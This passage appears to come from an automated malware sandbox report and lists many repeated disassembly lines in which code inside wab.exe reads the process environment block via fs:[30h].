Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C9179 mov eax, dword ptr fs:[00000030h]	9_2_207C9179
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20737152 mov eax, dword ptr fs:[00000030h]	9_2_20737152
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072C156 mov eax, dword ptr fs:[00000030h]	9_2_2072C156
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C8158 mov eax, dword ptr fs:[00000030h]	9_2_207C8158
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20736154 mov eax, dword ptr fs:[00000030h]	9_2_20736154
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20736154 mov eax, dword ptr fs:[00000030h]	9_2_20736154
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C4144 mov eax, dword ptr fs:[00000030h]	9_2_207C4144
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C4144 mov eax, dword ptr fs:[00000030h]	9_2_207C4144
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C4144 mov ecx, dword ptr fs:[00000030h]	9_2_207C4144
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C4144 mov eax, dword ptr fs:[00000030h]	9_2_207C4144
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C4144 mov eax, dword ptr fs:[00000030h]	9_2_207C4144
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20729148 mov eax, dword ptr fs:[00000030h]	9_2_20729148
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20729148 mov eax, dword ptr fs:[00000030h]	9_2_20729148
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20729148 mov eax, dword ptr fs:[00000030h]	9_2_20729148
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20729148 mov eax, dword ptr fs:[00000030h]	9_2_20729148
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20731131 mov eax, dword ptr fs:[00000030h]	9_2_20731131
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20731131 mov eax, dword ptr fs:[00000030h]	9_2_20731131
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072B136 mov eax, dword ptr fs:[00000030h]	9_2_2072B136
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072B136 mov eax, dword ptr fs:[00000030h]	9_2_2072B136
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072B136 mov eax, dword ptr fs:[00000030h]	9_2_2072B136
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072B136 mov eax, dword ptr fs:[00000030h]	9_2_2072B136
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_208051CB mov eax, dword ptr fs:[00000030h]	9_2_208051CB
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20760124 mov eax, dword ptr fs:[00000030h]	9_2_20760124
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207DA118 mov ecx, dword ptr fs:[00000030h]	9_2_207DA118
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207DA118 mov eax, dword ptr fs:[00000030h]	9_2_207DA118
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207DA118 mov eax, dword ptr fs:[00000030h]	9_2_207DA118
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207DA118 mov eax, dword ptr fs:[00000030h]	9_2_207DA118
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_208061E5 mov eax, dword ptr fs:[00000030h]	9_2_208061E5
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F0115 mov eax, dword ptr fs:[00000030h]	9_2_207F0115
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207D71F9 mov esi, dword ptr fs:[00000030h]	9_2_207D71F9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207601F8 mov eax, dword ptr fs:[00000030h]	9_2_207601F8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h]	9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h]	9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h]	9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h]	9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h]	9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h]	9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h]	9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h]	9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h]	9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h]	9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h]	9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h]	9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207551EF mov eax, dword ptr fs:[00000030h]	9_2_207551EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207351ED mov eax, dword ptr fs:[00000030h]	9_2_207351ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076D1D0 mov eax, dword ptr fs:[00000030h]	9_2_2076D1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076D1D0 mov ecx, dword ptr fs:[00000030h]	9_2_2076D1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207AE1D0 mov eax, dword ptr fs:[00000030h]	9_2_207AE1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207AE1D0 mov eax, dword ptr fs:[00000030h]	9_2_207AE1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207AE1D0 mov ecx, dword ptr fs:[00000030h]	9_2_207AE1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207AE1D0 mov eax, dword ptr fs:[00000030h]	9_2_207AE1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207AE1D0 mov eax, dword ptr fs:[00000030h]	9_2_207AE1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F61C3 mov eax, dword ptr fs:[00000030h]	9_2_207F61C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F61C3 mov eax, dword ptr fs:[00000030h]	9_2_207F61C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2074B1B0 mov eax, dword ptr fs:[00000030h]	9_2_2074B1B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20805152 mov eax, dword ptr fs:[00000030h]	9_2_20805152
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E11A4 mov eax, dword ptr fs:[00000030h]	9_2_207E11A4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E11A4 mov eax, dword ptr fs:[00000030h]	9_2_207E11A4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E11A4 mov eax, dword ptr fs:[00000030h]	9_2_207E11A4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E11A4 mov eax, dword ptr fs:[00000030h]	9_2_207E11A4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B019F mov eax, dword ptr fs:[00000030h]	9_2_207B019F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B019F mov eax, dword ptr fs:[00000030h]	9_2_207B019F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B019F mov eax, dword ptr fs:[00000030h]	9_2_207B019F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B019F mov eax, dword ptr fs:[00000030h]	9_2_207B019F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072A197 mov eax, dword ptr fs:[00000030h]	9_2_2072A197
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072A197 mov eax, dword ptr fs:[00000030h]	9_2_2072A197
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072A197 mov eax, dword ptr fs:[00000030h]	9_2_2072A197
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20787190 mov eax, dword ptr fs:[00000030h]	9_2_20787190
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20770185 mov eax, dword ptr fs:[00000030h]	9_2_20770185
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207EC188 mov eax, dword ptr fs:[00000030h]	9_2_207EC188
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207EC188 mov eax, dword ptr fs:[00000030h]	9_2_207EC188
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20759274 mov eax, dword ptr fs:[00000030h]	9_2_20759274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20805283 mov eax, dword ptr fs:[00000030h]	9_2_20805283
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20771270 mov eax, dword ptr fs:[00000030h]	9_2_20771270
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20771270 mov eax, dword ptr fs:[00000030h]	9_2_20771270
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h]	9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h]	9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h]	9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h]	9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h]	9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h]	9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h]	9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h]	9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h]	9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h]	9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h]	9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E0274 mov eax, dword ptr fs:[00000030h]	9_2_207E0274
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20734260 mov eax, dword ptr fs:[00000030h]	9_2_20734260
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20734260 mov eax, dword ptr fs:[00000030h]	9_2_20734260
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20734260 mov eax, dword ptr fs:[00000030h]	9_2_20734260
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207FD26B mov eax, dword ptr fs:[00000030h]	9_2_207FD26B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207FD26B mov eax, dword ptr fs:[00000030h]	9_2_207FD26B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072826B mov eax, dword ptr fs:[00000030h]	9_2_2072826B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072A250 mov eax, dword ptr fs:[00000030h]	9_2_2072A250
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207EB256 mov eax, dword ptr fs:[00000030h]	9_2_207EB256
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207EB256 mov eax, dword ptr fs:[00000030h]	9_2_207EB256
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20736259 mov eax, dword ptr fs:[00000030h]	9_2_20736259
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20729240 mov eax, dword ptr fs:[00000030h]	9_2_20729240
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20729240 mov eax, dword ptr fs:[00000030h]	9_2_20729240
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B8243 mov eax, dword ptr fs:[00000030h]	9_2_207B8243
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B8243 mov ecx, dword ptr fs:[00000030h]	9_2_207B8243
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076724D mov eax, dword ptr fs:[00000030h]	9_2_2076724D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072823B mov eax, dword ptr fs:[00000030h]	9_2_2072823B
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_208052E2 mov eax, dword ptr fs:[00000030h]	9_2_208052E2
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20767208 mov eax, dword ptr fs:[00000030h]	9_2_20767208
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20767208 mov eax, dword ptr fs:[00000030h]	9_2_20767208
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207EF2F8 mov eax, dword ptr fs:[00000030h]	9_2_207EF2F8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207292FF mov eax, dword ptr fs:[00000030h]	9_2_207292FF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h]	9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h]	9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h]	9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h]	9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h]	9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h]	9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h]	9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h]	9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h]	9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h]	9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h]	9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h]	9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h]	9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207E12ED mov eax, dword ptr fs:[00000030h]	9_2_207E12ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207402E1 mov eax, dword ptr fs:[00000030h]	9_2_207402E1
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207402E1 mov eax, dword ptr fs:[00000030h]	9_2_207402E1
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207402E1 mov eax, dword ptr fs:[00000030h]	9_2_207402E1
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072B2D3 mov eax, dword ptr fs:[00000030h]	9_2_2072B2D3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072B2D3 mov eax, dword ptr fs:[00000030h]	9_2_2072B2D3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072B2D3 mov eax, dword ptr fs:[00000030h]	9_2_2072B2D3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075F2D0 mov eax, dword ptr fs:[00000030h]	9_2_2075F2D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075F2D0 mov eax, dword ptr fs:[00000030h]	9_2_2075F2D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20805227 mov eax, dword ptr fs:[00000030h]	9_2_20805227
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073A2C3 mov eax, dword ptr fs:[00000030h]	9_2_2073A2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073A2C3 mov eax, dword ptr fs:[00000030h]	9_2_2073A2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073A2C3 mov eax, dword ptr fs:[00000030h]	9_2_2073A2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073A2C3 mov eax, dword ptr fs:[00000030h]	9_2_2073A2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2073A2C3 mov eax, dword ptr fs:[00000030h]	9_2_2073A2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075B2C0 mov eax, dword ptr fs:[00000030h]	9_2_2075B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075B2C0 mov eax, dword ptr fs:[00000030h]	9_2_2075B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075B2C0 mov eax, dword ptr fs:[00000030h]	9_2_2075B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075B2C0 mov eax, dword ptr fs:[00000030h]	9_2_2075B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075B2C0 mov eax, dword ptr fs:[00000030h]	9_2_2075B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075B2C0 mov eax, dword ptr fs:[00000030h]	9_2_2075B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075B2C0 mov eax, dword ptr fs:[00000030h]	9_2_2075B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207392C5 mov eax, dword ptr fs:[00000030h]	9_2_207392C5
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207392C5 mov eax, dword ptr fs:[00000030h]	9_2_207392C5
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B92BC mov eax, dword ptr fs:[00000030h]	9_2_207B92BC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B92BC mov eax, dword ptr fs:[00000030h]	9_2_207B92BC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B92BC mov ecx, dword ptr fs:[00000030h]	9_2_207B92BC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B92BC mov ecx, dword ptr fs:[00000030h]	9_2_207B92BC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207402A0 mov eax, dword ptr fs:[00000030h]	9_2_207402A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207402A0 mov eax, dword ptr fs:[00000030h]	9_2_207402A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207452A0 mov eax, dword ptr fs:[00000030h]	9_2_207452A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207452A0 mov eax, dword ptr fs:[00000030h]	9_2_207452A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207452A0 mov eax, dword ptr fs:[00000030h]	9_2_207452A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207452A0 mov eax, dword ptr fs:[00000030h]	9_2_207452A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F92A6 mov eax, dword ptr fs:[00000030h]	9_2_207F92A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F92A6 mov eax, dword ptr fs:[00000030h]	9_2_207F92A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F92A6 mov eax, dword ptr fs:[00000030h]	9_2_207F92A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F92A6 mov eax, dword ptr fs:[00000030h]	9_2_207F92A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C62A0 mov eax, dword ptr fs:[00000030h]	9_2_207C62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C62A0 mov ecx, dword ptr fs:[00000030h]	9_2_207C62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C62A0 mov eax, dword ptr fs:[00000030h]	9_2_207C62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C62A0 mov eax, dword ptr fs:[00000030h]	9_2_207C62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C62A0 mov eax, dword ptr fs:[00000030h]	9_2_207C62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C62A0 mov eax, dword ptr fs:[00000030h]	9_2_207C62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C72A0 mov eax, dword ptr fs:[00000030h]	9_2_207C72A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207C72A0 mov eax, dword ptr fs:[00000030h]	9_2_207C72A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076329E mov eax, dword ptr fs:[00000030h]	9_2_2076329E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076329E mov eax, dword ptr fs:[00000030h]	9_2_2076329E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076E284 mov eax, dword ptr fs:[00000030h]	9_2_2076E284
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2076E284 mov eax, dword ptr fs:[00000030h]	9_2_2076E284
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B0283 mov eax, dword ptr fs:[00000030h]	9_2_207B0283
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B0283 mov eax, dword ptr fs:[00000030h]	9_2_207B0283
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B0283 mov eax, dword ptr fs:[00000030h]	9_2_207B0283
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207D437C mov eax, dword ptr fs:[00000030h]	9_2_207D437C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20737370 mov eax, dword ptr fs:[00000030h]	9_2_20737370
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20737370 mov eax, dword ptr fs:[00000030h]	9_2_20737370
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20737370 mov eax, dword ptr fs:[00000030h]	9_2_20737370
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207EF367 mov eax, dword ptr fs:[00000030h]	9_2_207EF367
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2080539D mov eax, dword ptr fs:[00000030h]	9_2_2080539D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20729353 mov eax, dword ptr fs:[00000030h]	9_2_20729353
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20729353 mov eax, dword ptr fs:[00000030h]	9_2_20729353
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B035C mov eax, dword ptr fs:[00000030h]	9_2_207B035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B035C mov eax, dword ptr fs:[00000030h]	9_2_207B035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B035C mov eax, dword ptr fs:[00000030h]	9_2_207B035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B035C mov ecx, dword ptr fs:[00000030h]	9_2_207B035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B035C mov eax, dword ptr fs:[00000030h]	9_2_207B035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B035C mov eax, dword ptr fs:[00000030h]	9_2_207B035C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207FA352 mov eax, dword ptr fs:[00000030h]	9_2_207FA352
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h]	9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h]	9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h]	9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h]	9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h]	9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h]	9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h]	9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h]	9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h]	9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h]	9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h]	9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h]	9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h]	9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h]	9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207B2349 mov eax, dword ptr fs:[00000030h]	9_2_207B2349
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072D34C mov eax, dword ptr fs:[00000030h]	9_2_2072D34C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2072D34C mov eax, dword ptr fs:[00000030h]	9_2_2072D34C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_20727330 mov eax, dword ptr fs:[00000030h]	9_2_20727330
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F132D mov eax, dword ptr fs:[00000030h]	9_2_207F132D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_207F132D mov eax, dword ptr fs:[00000030h]	9_2_207F132D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 9_2_2075F32A mov eax, dword ptr fs:[00000030h]	9_2_2075F32A
